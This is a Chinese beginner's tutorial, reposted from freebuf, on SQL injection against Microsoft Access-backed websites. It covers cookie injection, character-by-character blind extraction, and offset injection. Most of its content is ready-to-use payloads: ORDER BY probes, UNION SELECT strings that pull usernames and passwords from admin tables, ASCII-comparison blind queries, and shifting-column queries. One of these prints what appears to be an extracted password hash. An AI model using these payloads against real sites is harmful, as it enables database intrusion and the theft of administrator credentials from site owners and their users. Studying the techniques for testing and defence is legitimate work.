Access的注入进阶技巧 – 作者:G0tHji

      相信各位师傅对Access数据库并不陌生,今天小编也总结了一下Access数据库的几种注入方式:cookie注入、偏移注入、逐字查询法,下面我会给大家演示在实际挖掘中如何去利用以上这些方式。希望能对初入网安的小白和萌新有所帮助,如有讲的不好的地方也欢迎各位师傅指正!

cookie注入:

一、打开火狐的hackerbay插件,勾选cookies选项并将参数ID=54放入插件最下方的文本框

1.png

二、查询字段长度

ID=54+order+by+13   //正常   
ID=54+order+by+14   //报错         

2.png

三、查看显示位

ID=54+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+admin

3.png

四、由上图可得知回显位为8和2,将想要查询的敏感字段放入这两个位置即可爆出字段内容

ID=54+union+select+1,password,3,4,5,6,7,username,9,10,11,12,13+from+admin

4.png

逐字查询法:

一、查询表名

 and  exists (select * from admin)    //页面返回正常,admin这个表存在

1.png

二、查询admin表中的列名

and exists (select admin from admin)        //页面返回正常,为admin的表名中存在admin这个列
and exists (select password from admin)     //页面返回正常,为admin的表名中存在password这个列

ad.pngpass.png

三、查询admin和password的长度

and (select top 1 len(password) from admin)=16     //页面返回正常,password的长度为16
and (select top 1 len(admin) from admin)=5         //页面返回正常,admin的长度为5

5.png16.png

四、查询两个字段的ASCII编码

1.password:

and (select top 1 asc(mid(password,1,1)) from admin)>=100       //当>=100时返回正确,>=101时返回错误,则第一位ASCII编码为100
and (select top 1 asc(mid(password,2,1)) from admin)>=98        //当>=98时返回正确,>=99时返回错误,则第二位ASCII编码为98
and (select top 1 asc(mid(password,3,1)) from admin)>=97        //当>=97时返回正确,>=98时返回错误,则第三位ASCII编码为97

以此类推到第16位……….

2.admin

and (select top 1 asc(mid(admin,1,1)) from admin)>=97            //当>=97时返回正确,>=98时返回错误,则第一位ASCII编码为97
and (select top 1 asc(mid(admin,2,1)) from admin)>=100           //当>=100时返回正确,>=101时返回错误,则第二位ASCII编码为100

以此类推到第五位……………..

3.最终得到的数据根据ASCII码对照表进行转换即可得到“password”,“admin”的字段内容     

偏移注入:

当我们遇到知道表名却不知道列名的情况下可以考虑使用偏移注入

一、判断字段长度

order by 11     //返回正常
order by 12     //返回错误

1.png二、使用联合查询(union select)

2.png

三、判断表内存在的字段数

接下来我们利用 * 代替adminuser表内存在的字段,由于是11个字段数,需要逐步测试,直到返回正常。

union select 1,2,3,4,5,6,7,8,9,10,* from adminuser     //返回错误
union select 1,2,3,4,5,6,7,8,9,* from adminuser        //返回错误
union select 1,2,3,4,5,6,7,8,* from adminuser          //返回错误
union select 1,2,3,4,5,6,7,* from adminuser            //返回错误
union select 1,2,3,4,5,6,* from adminuser              //返回错误
union select 1,2,3,4,5,* from adminuser                //返回正常,因此可判断列数为6

3.png

四、使用移位溢注进行查询

所以构造的语句中adminuser.*,与字段数加起来的和应该为11(adminuser.*=6)

union select 1,2,3,4,5,adminuser.* from adminuser              //无敏感回显字段,继续像左移动
union select 1,2,3,4,adminuser.*,11 from adminuser             //无敏感回显字段,继续像左移动
union select 1,2,3,adminuser.*,10,11 from adminuser            //无敏感回显字段,继续像左移动
union select 1,2,adminuser.*,9,10,11 from adminuser            //无敏感回显字段,继续像左移动
union select 1,adminuser.*,8,9,10,11 from adminuser            //爆出了admin字段,我们继续往下移动
union select adminuser.*,7,8,9,10,11 from adminuser            //爆出了0e5658076df9c9123354de898d9cfd1c

4.png5.png

      文章至此就结束了,文章主要是分享给一些刚刚学习渗透的小白以及萌新人群,希望对你们有一定的帮助。本人也很少写文章,语言总结的可能不是专业,还请各位不要见怪!同时也欢迎各位师傅以及前辈指正文章的不足哦~~~

来源:freebuf.com 2020-03-18 18:31:44 by: G0tHji

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论